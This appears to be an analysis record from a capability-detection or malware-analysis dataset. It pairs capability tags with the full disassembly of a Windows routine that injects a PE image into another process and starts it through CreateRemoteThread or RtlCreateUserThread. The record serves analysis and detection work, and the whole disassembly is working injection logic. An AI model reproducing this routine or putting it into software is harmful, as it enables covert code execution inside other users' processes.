Function at 0x10016410
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, eax
xor eax, eax
mov dword [ebp - 4], eax
test esi, esi
je 0x10016636
cmp dword [ebp + 8], eax
je 0x10016636
cmp dword [ebp + 0xc], eax
je 0x10016636
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
push esi
call fcn.10016a20
test eax, eax
jne 0x10016459
push 0xc8
call ebx
inc edi
cmp edi, 0x14
jl 0x10016442
push esi
call fcn.10016a20
test eax, eax
je 0x10016631
push esi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x10016631
push str.kernel32.dll
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100164b9
push str.IsWow64Process
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x100164b9
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
cmp dword [ebp + 0xc], 0
je 0x100164f2
push str.kernel32.dll
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100164e8
push str.IsWow64Process
push eax
call esi
test eax, eax
je 0x100164e8
lea ecx, [ebp + 0xc]
push ecx
push edi
call eax
cmp dword [ebp + 0xc], 0
je 0x1001662a
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x3c]
xor edx, edx
push 0x40
add ebx, eax
mov word [eax], dx
mov eax, dword [ebx + 0x50]
push 0x3000
push eax
push edx
push edi
mov dword [ebx], edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x1001662a
mov edx, dword [ebx + 0x54]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push edx
push eax
push esi
push edi
mov dword [ebx + 0x58], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [ebx + 0x14]
xor edx, edx
lea eax, [ecx + ebx + 0x18]
mov dword [ebp + 0xc], 0
cmp dx, word [ebx + 6]
jae 0x100165c1
lea esi, [eax + 8]
mov eax, dword [esi]
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100165a9
mov edx, dword [esi + 0xc]
mov ecx, dword [esi + 8]
add edx, dword [ebp + 8]
push ecx
push edx
push edi
call sub.MSVCRT.dll_memcpy
mov ecx, dword [esi]
mov edx, dword [esi + 4]
add edx, dword [ebp - 8]
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push ecx
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 0xc]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp + 0xc], eax
cmp eax, ecx
jl 0x10016556
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebx + 0x28]
push 0
push 0
push edi
add ebx, esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10016608
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8
push 0
push 0
push 0
push ebx
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
xor edx, edx
test eax, eax
setns dl
mov dword [ebp - 4], edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8